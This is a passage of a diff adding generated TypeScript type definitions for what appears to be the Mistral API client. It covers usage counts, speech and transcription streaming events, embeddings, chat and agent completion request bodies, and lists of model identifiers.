is ``None`` when the provider did not report a count. + * Preserve that distinction instead of inventing a measured zero: ``0`` means + * "reasoning off, confirmed by the provider", ``None`` means "unknown". + * @type object + */ +export type CompletionTokensDetails = { + reasoning_tokens?: number | null +} + +export const roles = { + system: 'system', + user: 'user', + assistant: 'assistant', + tool: 'tool', +} as const + +export type RolesKey = (typeof roles)[keyof typeof roles] + +/** + * @description Information on a single message included in a tokenized prompt as part of an InstructRequest. + * @type object + */ +export type MessageTokens = { + role: RolesKey + total_tokens?: number | null + settings_tokens?: number | null + /** + * @default false + * @type boolean | undefined + */ + truncated?: boolean + /** + * @default 1 + * @type integer | undefined + */ + usage_count?: number +} + +/** + * @description Token usage details for the prompt. + * @type object + */ +export type PromptTokensDetails = { + messages?: MessageTokens[] + /** + * @default 0 + * @type integer | undefined + */ + cached_tokens?: number + /** + * @default 0 + * @type integer | undefined + */ + audio_tokens?: number +} + +export const speechStreamEventTypes = { + 'speech.audio.delta': 'speech.audio.delta', + 'speech.audio.done': 'speech.audio.done', +} as const + +export type SpeechStreamEventTypesKey = + (typeof speechStreamEventTypes)[keyof typeof speechStreamEventTypes] + +export type UsageInfoF3F1267A = { + prompt_audio_seconds?: number | null + /** + * @default 0 + * @type integer | undefined + */ + prompt_tokens?: number + /** + * @default 0 + * @type integer | undefined + */ + total_tokens?: number + /** + * @default 0 + */ + completion_tokens?: number | null + request_count?: number | null + prompt_tokens_details?: PromptTokensDetails | null + completion_tokens_details?: CompletionTokensDetails | null + /** + * @description The service tier at which the request was processed: standard or priority. + */ + service_tier?: string | null + prompt_token_details?: PromptTokensDetails | null + num_cached_tokens?: number | null +} + +export type SpeechStreamAudioDelta = { + /** + * @default 'speech.audio.delta' + * @type string | undefined + */ + type?: 'speech.audio.delta' + audio_data: string +} + +export type SpeechStreamDone = { + /** + * @default 'speech.audio.done' + * @type string | undefined + */ + type?: 'speech.audio.done' + usage: UsageInfoF3F1267A +} + +/** + * @description The File object (not file name) to be uploaded. + * To upload a file and specify a custom file name you should format your request as such: + * ```bash + * file=@path/to/your/file.jsonl;filename=custom_name.jsonl + * ``` + * Otherwise, you can just keep the original file name: + * ```bash + * file=@path/to/your/file.jsonl + * ``` + * + * Format: `binary` + * @type string + */ +export type File = Blob + +export const timestampGranularity = { + segment: 'segment', + word: 'word', +} as const + +export type TimestampGranularityKey = + (typeof timestampGranularity)[keyof typeof timestampGranularity] + +export type TranscriptionSegmentChunk = { + /** + * @default 'transcription_segment' + * @type string | undefined + */ + type?: 'transcription_segment' + text: string + start: number | null + end: number | null + score?: number | null + speaker_id?: string | null +} + +export const completionResponseStreamChoiceFinishReasonEnum = { + stop: 'stop', + length: 'length', + error: 'error', + tool_calls: 'tool_calls', +} as const + +export type CompletionResponseStreamChoiceFinishReasonEnumKey = + (typeof completionResponseStreamChoiceFinishReasonEnum)[keyof typeof completionResponseStreamChoiceFinishReasonEnum] + +export type CompletionResponseStreamChoice = { + index: number + delta: DeltaMessage + finish_reason: CompletionResponseStreamChoiceFinishReasonEnumKey | null + logprobs?: ChatCompletionResponseChoiceLogprobs | null + prompt_logprobs?: ChatCompletionResponseChoiceLogprobs | null +} + +export type CompletionChunk = { + id: string + object?: string + created?: number + model: string + usage?: UsageInfo + choices: CompletionResponseStreamChoice[] +} + +export type ModerationObject = { + /** + * @description Moderation result thresholds + * @type object | undefined + */ + categories?: { + [key: string]: boolean + } + /** + * @description Moderation result + * @type object | undefined + */ + category_scores?: { + [key: string]: number + } +} + +export const embeddingDtype = { + float: 'float', + int8: 'int8', + uint8: 'uint8', + binary: 'binary', + ubinary: 'ubinary', +} as const + +export type EmbeddingDtypeKey = + (typeof embeddingDtype)[keyof typeof embeddingDtype] + +export const encodingFormat = { + float: 'float', + base64: 'base64', +} as const + +export type EncodingFormatKey = + (typeof encodingFormat)[keyof typeof encodingFormat] + +/** + * @example {"object":"embedding","embedding":[0.1,0.2,0.3],"index":0} + * @example {"object":"embedding","embedding":[0.4,0.5,0.6],"index":1} + * @type object + */ +export type EmbeddingResponseData = { + /** + * @example embedding + * @type string | undefined + */ + object?: string + /** + * @example [0.1,0.2,0.3] + * @type array | undefined + */ + embedding?: number[] + /** + * @example 0 + * @type integer | undefined + */ + index?: number +} + +export type ChatCompletionResponse = ChatCompletionResponseBase & { + choices: ChatCompletionChoice[] + /** + * @example cmpl-e5cc70bb28c444948073e77776eb30ef + * @type string + */ + id: string + /** + * @example chat.completion + * @type string + */ + object: string + data: unknown + /** + * @example mistral-small-latest + * @type string + */ + model: string + usage: UsageInfo + /** + * @example 1702256327 + * @type integer + */ + created: number +} + +export type TranscriptionStreamDone = { + model: string + text: string + language: string | null + segments?: TranscriptionSegmentChunk[] + usage: UsageInfo + /** + * @default 'transcription.done' + * @type string | undefined + */ + type?: 'transcription.done' +} + +export const transcriptionStreamEventTypes = { + 'transcription.language': 'transcription.language', + 'transcription.segment': 'transcription.segment', + 'transcription.text.delta': 'transcription.text.delta', + 'transcription.done': 'transcription.done', +} as const + +export type TranscriptionStreamEventTypesKey = + (typeof transcriptionStreamEventTypes)[keyof typeof transcriptionStreamEventTypes] + +export type TranscriptionStreamLanguage = { + /** + * @default 'transcription.language' + * @type string | undefined + */ + type?: 'transcription.language' + /** + * @pattern ^\w{2}$ + * @type string + */ + audio_language: string +} + +export type TranscriptionStreamSegmentDelta = { + /** + * @default 'transcription.segment' + * @type string | undefined + */ + type?: 'transcription.segment' + text: string + start: number | null + end: number | null + /** + * @default null + */ + speaker_id?: string | null +} + +export type TranscriptionStreamTextDelta = { + /** + * @default 'transcription.text.delta' + * @type string | undefined + */ + type?: 'transcription.text.delta' + text: string +} + +export type MistralPostV1AgentsCompletionsStatus200 = + ChatCompletionResponseBase & { + choices: ChatCompletionChoice[] + /** + * @example cmpl-e5cc70bb28c444948073e77776eb30ef + * @type string + */ + id: string + /** + * @example chat.completion + * @type string + */ + object: string + data: unknown + /** + * @example mistral-small-latest + * @type string + */ + model: string + usage: UsageInfo + /** + * @example 1702256327 + * @type integer + */ + created: number + } + +export type MistralPostV1AgentsCompletionsBody = { + /** + * @description The maximum number of tokens to generate in the completion. The token count of your prompt plus `max_tokens` cannot exceed the model's context length. + */ + max_tokens?: number | null + /** + * @description Whether to stream back partial progress. If set, tokens will be sent as data-only server-side events as they become available, with the stream terminated by a data: [DONE] message. Otherwise, the server will hold the request open until the timeout or until completion, with the response containing the full result as JSON. + * @default false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description Stop generation if this token is detected. Or if one of these tokens is detected when providing an array + */ + stop?: string | string[] | null + /** + * @description The seed to use for random sampling. If set, different calls will generate deterministic results. + */ + random_seed?: number | null + metadata?: { + [key: string]: unknown + } | null + /** + * @description The prompt(s) to generate completions for, encoded as a list of dict with role and content. + * @example [{"role":"user","content":"Who is the best French painter? Answer in one short sentence."}] + * @type array + */ + messages: ( + | (SystemMessage & { + role: 'system' + }) + | (UserMessage & { + role: 'user' + }) + | (AssistantMessage & { + role: 'assistant' + }) + | (ToolMessage & { + role: 'tool' + }) + )[] + /** + * @description Specify the format that the model must output. By default it will use `{ "type": "text" }`. Setting to `{ "type": "json_object" }` enables JSON mode, which guarantees the message the model generates is in JSON. When using JSON mode you MUST also instruct the model to produce JSON yourself with a system or a user message. Setting to `{ "type": "json_schema" }` enables JSON schema mode, which guarantees the message the model generates is in JSON and follows the schema you provide. + * @example {"type":"text"} + * @example {"type":"json_object"} + * @example {"type":"json_schema","json_schema":{"schema":{"properties":{"name":{"title":"Name","type":"string"},"authors":{"items":{"type":"string"},"title":"Authors","type":"array"}},"required":["name","authors"],"title":"Book","type":"object","additionalProperties":false},"name":"book","strict":true}} + * @type object | undefined + */ + response_format?: ResponseFormat + tools?: + | ( + | (Tool & { + type: 'function' + }) + | (ImageGenerationTool & { + type: 'image_generation' + }) + | (DocumentLibraryTool & { + type: 'document_library' + }) + | (CustomConnector & { + type: 'connector' + }) + )[] + | null + /** + * @default auto + */ + tool_choice?: ToolChoice | ToolChoiceEnumKey + /** + * @description The `presence_penalty` determines how much the model penalizes the repetition of words or phrases. A higher presence penalty encourages the model to use a wider variety of words and phrases, making the output more diverse and creative. + */ + presence_penalty?: number | null + /** + * @description The `frequency_penalty` penalizes the repetition of words based on their frequency in the generated text. A higher frequency penalty discourages the model from repeating words that have already appeared frequently in the output, promoting diversity and reducing repetition. + */ + frequency_penalty?: number | null + min_tokens?: number | null + repetition_penalty?: number | null + top_k?: number | null + logprobs?: boolean | null + top_logprobs?: number | null + prompt_logprobs?: boolean | null + top_prompt_logprobs?: number | null + /** + * @description Number of completions to return for each request, input tokens are only billed once. + */ + n?: number | null + /** + * @description Enable users to specify expected results, optimizing response times by leveraging known or predictable content. This approach is especially effective for updating text documents or code files with minimal changes, reducing latency while maintaining high-quality results. + * @default {"type":"content","content":""} + * @type object | undefined + */ + prediction?: Prediction + /** + * @default true + * @type boolean | undefined + */ + parallel_tool_calls?: boolean + reasoning_effort?: ReasoningEffortKey | null + /** + * @description Allows toggling between the reasoning mode and no system prompt. When set to `reasoning` the system prompt for reasoning models will be used. + */ + prompt_mode?: MistralPromptModeKey | null + guardrails?: GuardrailConfig[] | null + prompt_cache_key?: string | null + /** + * @description Determines whether to serve the request using priority or standard capacity. + */ + service_tier?: RequestedServiceTierKey | null + /** + * @description The ID of the agent to use for this completion. + * @type string + */ + agent_id: string +} + +export type MistralPostV1AgentsCompletionsOptions = { + body: MistralPostV1AgentsCompletionsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1AgentsCompletionsResponses = { + '200': MistralPostV1AgentsCompletionsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1AgentsCompletionsResponse = + MistralPostV1AgentsCompletionsStatus200 + +export type MistralPostV1AudioSpeechStatus200Json = { + /** + * @description Base64 encoded audio data + * @type string + */ + audio_data: string +} + +export type MistralPostV1AudioSpeechStatus200EventStream = { + event: SpeechStreamEventTypesKey + data: + | (SpeechStreamAudioDelta & { + type: 'speech.audio.delta' + }) + | (SpeechStreamDone & { + type: 'speech.audio.done' + }) +} + +export type MistralPostV1AudioSpeechStatus200 = + | MistralPostV1AudioSpeechStatus200Json + | MistralPostV1AudioSpeechStatus200EventStream + +export type MistralPostV1AudioSpeechBody = { + model?: string | null + metadata?: MetadataDict | null + /** + * @default false + * @type boolean | undefined + */ + stream?: boolean + prompt_cache_key?: string | null + /** + * @description The preset or custom voice to use for generating the speech. + */ + voice_id?: string | null + /** + * @description The audio reference for generating the speech. + */ + ref_audio?: string | Blob | null + /** + * @description Text to generate a speech from + * @type string + */ + input: string + /** + * @description Speaker flow-matching classifier-free guidance scale. Must be finite and at least 1.0. + */ + expressiveness?: number | null + /** + * @description Optional pronunciation hints mapping a (case-sensitive) word to its ordered list of IPA phones. + */ + phoneme_hints?: { + [key: string]: IPAPhonemeKey[] + } | null + /** + * @description Prior turns, oldest first, alternating and ending on a user turn: `input` is the assistant reply to it. Conditions delivery, not speaker: set `voice_id` to choose the speaker. Requires `voice_id` to be a preset voice whose `kind` is `pvc`. Cannot be combined with `ref_audio`. + */ + conversation_history?: + | ( + | (SpeechUserTurn & { + role: 'user' + }) + | (SpeechAssistantTurn & { + role: 'assistant' + }) + )[] + | null + /** + * @description Output audio format. Defaults to mp3. + * @default 'mp3' + * @type string | undefined + */ + response_format?: SpeechOutputFormatKey + [key: string]: unknown +} + +export type MistralPostV1AudioSpeechOptions = { + body: MistralPostV1AudioSpeechBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1AudioSpeechResponses = { + '200': + | { + contentType: 'application/json' + data: MistralPostV1AudioSpeechStatus200Json + } + | { + contentType: 'text/event-stream' + data: MistralPostV1AudioSpeechStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1AudioSpeechResponse = MistralPostV1AudioSpeechStatus200 + +export type MistralPostV1AudioTranscriptionsStatus200Json = { + model: string + text: string + language: string | null + segments?: TranscriptionSegmentChunk[] + usage: UsageInfo +} + +export type MistralPostV1AudioTranscriptionsStatus200EventStream = { + event: TranscriptionStreamEventTypesKey + data: + | (TranscriptionStreamTextDelta & { + type: 'transcription.text.delta' + }) + | (TranscriptionStreamLanguage & { + type: 'transcription.language' + }) + | (TranscriptionStreamSegmentDelta & { + type: 'transcription.segment' + }) + | (TranscriptionStreamDone & { + type: 'transcription.done' + }) +} + +export type MistralPostV1AudioTranscriptionsStatus200 = + | MistralPostV1AudioTranscriptionsStatus200Json + | MistralPostV1AudioTranscriptionsStatus200EventStream + +export const mistralPostV1AudioTranscriptionsRequestModelEnum = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1AudioTranscriptionsRequestModelEnumKey = + (typeof mistralPostV1AudioTranscriptionsRequestModelEnum)[keyof typeof mistralPostV1AudioTranscriptionsRequestModelEnum] + +export const mistralPostV1AudioTranscriptionsRequestModelEnum2 = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1AudioTranscriptionsRequestModelEnum2Key = + (typeof mistralPostV1AudioTranscriptionsRequestModelEnum2)[keyof typeof mistralPostV1AudioTranscriptionsRequestModelEnum2] + +export type MistralPostV1AudioTranscriptionsBody = + | { + /** + * @description ID of the model to be used. + * @example voxtral-mini-latest + * @example voxtral-mini-2507 + * @type string + */ + model: MistralPostV1AudioTranscriptionsRequestModelEnumKey + /** + * @default null + */ + file?: File | null + /** + * @description Url of a file to be transcribed + * @default null + */ + file_url?: string | null + /** + * @description ID of a file uploaded to /v1/files + * @default null + */ + file_id?: string | null + /** + * @description Language of the audio, e.g. 'en'. Providing the language can boost accuracy. + * @default null + */ + language?: string | null + /** + * @default null + */ + temperature?: number | null + /** + * @default false + * @type boolean | undefined + */ + stream?: false + /** + * @default false + * @type boolean | undefined + */ + diarize?: boolean + /** + * @default [] + * @type array | undefined + */ + context_bias?: string[] + /** + * @description Dictionary of speaker names and reference audios for speakers who are known to appear in the audio. When enabled, diarize must be true. Predicted speakers will be matched against reference speakers from this dictionary. + * @type object | undefined + */ + speaker_references?: { + [key: string]: string + } + /** + * @description Granularities of timestamps to include in the response. + * @type array | undefined + */ + timestamp_granularities?: TimestampGranularityKey[] + } + | { + model: MistralPostV1AudioTranscriptionsRequestModelEnum2Key + /** + * @default null + */ + file?: File | null + /** + * @description Url of a file to be transcribed + * @default null + */ + file_url?: string | null + /** + * @description ID of a file uploaded to /v1/files + * @default null + */ + file_id?: string | null + /** + * @description Language of the audio, e.g. 'en'. Providing the language can boost accuracy. + * @default null + */ + language?: string | null + /** + * @default null + */ + temperature?: number | null + /** + * @default true + * @type boolean | undefined + */ + stream?: true + /** + * @default false + * @type boolean | undefined + */ + diarize?: boolean + /** + * @default [] + * @type array | undefined + */ + context_bias?: string[] + /** + * @description Dictionary of speaker names and reference audios for speakers who are known to appear in the audio. When enabled, diarize must be true. Predicted speakers will be matched against reference speakers from this dictionary. + * @type object | undefined + */ + speaker_references?: { + [key: string]: string + } + /** + * @description Granularities of timestamps to include in the response. + * @type array | undefined + */ + timestamp_granularities?: TimestampGranularityKey[] + } + +export type MistralPostV1AudioTranscriptionsOptions = { + body: MistralPostV1AudioTranscriptionsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1AudioTranscriptionsResponses = { + '200': + | { + contentType: 'application/json' + data: MistralPostV1AudioTranscriptionsStatus200Json + } + | { + contentType: 'text/event-stream' + data: MistralPostV1AudioTranscriptionsStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1AudioTranscriptionsResponse = + MistralPostV1AudioTranscriptionsStatus200 + +export type MistralPostV1ChatCompletionsStatus200Json = + ChatCompletionResponseBase & { + choices: ChatCompletionChoice[] + /** + * @example cmpl-e5cc70bb28c444948073e77776eb30ef + * @type string + */ + id: string + /** + * @example chat.completion + * @type string + */ + object: string + data: unknown + /** + * @example mistral-small-latest + * @type string + */ + model: string + usage: UsageInfo + /** + * @example 1702256327 + * @type integer + */ + created: number + } + +export type MistralPostV1ChatCompletionsStatus200EventStream = { + data: CompletionChunk +} + +export type MistralPostV1ChatCompletionsStatus200 = + | MistralPostV1ChatCompletionsStatus200Json + | MistralPostV1ChatCompletionsStatus200EventStream + +export const mistralPostV1ChatCompletionsRequestModelEnum = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1ChatCompletionsRequestModelEnumKey = + (typeof mistralPostV1ChatCompletionsRequestModelEnum)[keyof typeof mistralPostV1ChatCompletionsRequestModelEnum] + +export type MistralPostV1ChatCompletionsBody = { + /** + * @description ID of the model to use. You can use the [List Available Models](/api/#tag/models/operation/list_models_v1_models_get) API to see all of your available models, or see our [Model overview](/models) for model descriptions. + * @example mistral-large-latest + * @type string + */ + model: MistralPostV1ChatCompletionsRequestModelEnumKey + /** + * @description What sampling temperature to use, we recommend between 0.0 and 0.7. Higher values like 0.7 will make the output more random, while lower values like 0.2 will make it more focused and deterministic. We generally recommend altering this or `top_p` but not both. The default value varies depending on the model you are targeting. Call the `/models` endpoint to retrieve the appropriate value. + */ + temperature?: number | null + /** + * @description Nucleus sampling, where the model considers the results of the tokens with `top_p` probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or `temperature` but not both. + */ + top_p?: number | null + /** + * @description The maximum number of tokens to generate in the completion. The token count of your prompt plus `max_tokens` cannot exceed the model's context length. + */ + max_tokens?: number | null + /** + * @description Whether to stream back partial progress. If set, tokens will be sent as data-only server-side events as they become available, with the stream terminated by a data: [DONE] message. Otherwise, the server will hold the request open until the timeout or until completion, with the response containing the full result as JSON. + * @default false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description Stop generation if this token is detected. Or if one of these tokens is detected when providing an array + */ + stop?: string | string[] | null + /** + * @description The seed to use for random sampling. If set, different calls will generate deterministic results. + */ + random_seed?: number | null + metadata?: { + [key: string]: unknown + } | null + /** + * @description The prompt(s) to generate completions for, encoded as a list of dict with role and content. + * @example [{"role":"user","content":"Who is the best French painter? Answer in one short sentence."}] + * @type array + */ + messages: ( + | (SystemMessage & { + role: 'system' + }) + | (UserMessage & { + role: 'user' + }) + | (AssistantMessage & { + role: 'assistant' + }) + | (ToolMessage & { + role: 'tool' + }) + )[] + /** + * @description Specify the format that the model must output. By default it will use `{ "type": "text" }`. Setting to `{ "type": "json_object" }` enables JSON mode, which guarantees the message the model generates is in JSON. When using JSON mode you MUST also instruct the model to produce JSON yourself with a system or a user message. Setting to `{ "type": "json_schema" }` enables JSON schema mode, which guarantees the message the model generates is in JSON and follows the schema you provide. + * @example {"type":"text"} + * @example {"type":"json_object"} + * @example {"type":"json_schema","json_schema":{"schema":{"properties":{"name":{"title":"Name","type":"string"},"authors":{"items":{"type":"string"},"title":"Authors","type":"array"}},"required":["name","authors"],"title":"Book","type":"object","additionalProperties":false},"name":"book","strict":true}} + * @type object | undefined + */ + response_format?: ResponseFormat + /** + * @description A list of tools the model may call. Use this to provide a list of functions the model may generate JSON inputs for. + */ + tools?: + | ( + | (Tool & { + type: 'function' + }) + | (ImageGenerationTool & { + type: 'image_generation' + }) + | (DocumentLibraryTool & { + type: 'document_library' + }) + | (CustomConnector & { + type: 'connector' + }) + )[] + | null + /** + * @description Controls which (if any) tool is called by the model. `none` means the model will not call any tool and instead generates a message. `auto` means the model can pick between generating a message or calling one or more tools. `any` or `required` means the model must call one or more tools. Specifying a particular tool via `{"type": "function", "function": {"name": "my_function"}}` forces the model to call that tool. + * @default auto + */ + tool_choice?: ToolChoice | ToolChoiceEnumKey + /** + * @description The `presence_penalty` determines how much the model penalizes the repetition of words or phrases. A higher presence penalty encourages the model to use a wider variety of words and phrases, making the output more diverse and creative. + */ + presence_penalty?: number | null + /** + * @description The `frequency_penalty` penalizes the repetition of words based on their frequency in the generated text. A higher frequency penalty discourages the model from repeating words that have already appeared frequently in the output, promoting diversity and reducing repetition. + */ + frequency_penalty?: number | null + min_tokens?: number | null + repetition_penalty?: number | null + top_k?: number | null + logprobs?: boolean | null + top_logprobs?: number | null + prompt_logprobs?: boolean | null + top_prompt_logprobs?: number | null + /** + * @description Number of completions to return for each request, input tokens are only billed once. + */ + n?: number | null + /** + * @description Enable users to specify expected results, optimizing response times by leveraging known or predictable content. This approach is especially effective for updating text documents or code files with minimal changes, reducing latency while maintaining high-quality results. + * @default {"type":"content","content":""} + * @type object | undefined + */ + prediction?: Prediction + /** + * @description Whether to enable parallel function calling during tool use, when enabled the model can call multiple tools in parallel. + * @default true + * @type boolean | undefined + */ + parallel_tool_calls?: boolean + reasoning_effort?: ReasoningEffortKey | null + /** + * @description Allows toggling between the reasoning mode and no system prompt. When set to `reasoning` the system prompt for reasoning models will be used. + */ + prompt_mode?: 